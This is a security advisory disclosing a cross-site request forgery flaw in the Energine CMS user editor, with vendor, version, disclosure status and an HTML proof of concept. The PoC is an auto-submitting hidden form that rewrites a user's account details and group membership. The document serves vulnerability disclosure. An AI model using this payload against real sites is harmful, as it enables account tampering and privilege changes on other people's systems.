Vulnerability ID: HTB22782 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_energine.html Product: Energine Vendor: Energine ( http://www.energine.org/ ) Vulnerable Version: 2.3.8 and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "core/modules/user/components/UserEditor.class.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/en/single/pageToolBar/user/save"; method="post" name="main"> <input type="hidden" name="componentAction" value="edit"> <input type="hidden" name="user_users[u_id]" value="USERID"> <input type="hidden" name="user_users[u_name]" value="email@xxxxxxxxxxx"> <input type="hidden" name="user_users[u_password]" value=""> <input type="hidden" name="user_users[u_fullname]" value="Test"> <input type="hidden" name="user_users[u_avatar_prfile]" value=""> <input type="hidden" name="group_id[]" value="1"> <input type="hidden" name="group_id[]" value="4"> </form> <script> document.main.submit(); </script>
